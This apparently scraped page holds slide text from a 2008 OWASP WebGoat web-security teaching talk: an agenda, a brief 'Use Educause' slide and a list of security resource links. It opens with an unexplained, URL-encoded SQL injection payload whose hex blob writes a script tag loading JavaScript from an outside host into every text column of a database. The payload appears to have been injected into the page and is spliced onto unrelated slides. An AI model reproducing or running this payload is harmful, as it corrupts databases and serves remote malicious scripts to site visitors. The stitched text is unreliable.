%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Page 125: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics

• Essentials of a Comprehensive Web Security Program

• Tools

Page 126: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Use Educause

Page 127: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Resources• Open Web Application Security Project (OWASP) - http://

www.owasp.org/index.php/Category:OWASP_Project

• Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225– Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Home– UC Irvine Effective Practices -

https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Development

• National Institute of Standards and Technology (NIST) Computer Security Division -  http://csrc.nist.gov/

• NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

• National Institute of Standards and Technology (NIST) National Vulnerability Database Checklist Site  - http://checklists.nist.gov/

• ISO/IEC 27001:2005 “Information Security Requirements”– http://www.iso.org/iso/catalogue_detail?csnumber=42103

• ISO/IEC 27001:2005 “Specification for an Information Security Management System”– http://www.iso27001security.com/html/27001.html

• ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics”– http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf

• ISO Glossary of Terms http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm• PCI-DSS - https://www.pcisecuritystandards.org/

• Cenzig Imperative Web Application Assessment Plan http://www.cenzic.com/pdfs/CenzicWpImpAsPln.pdf

• US Computer Emergency Readiness Team (US-CERT)- http://www.us-cert.gov/• SANS - http://www.sans.org/ and SANS Programmer Certification: http://www.sans.org/gssp/• Secunia - http://secunia.com/• UC Irvine’s Requirements Template - http://snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc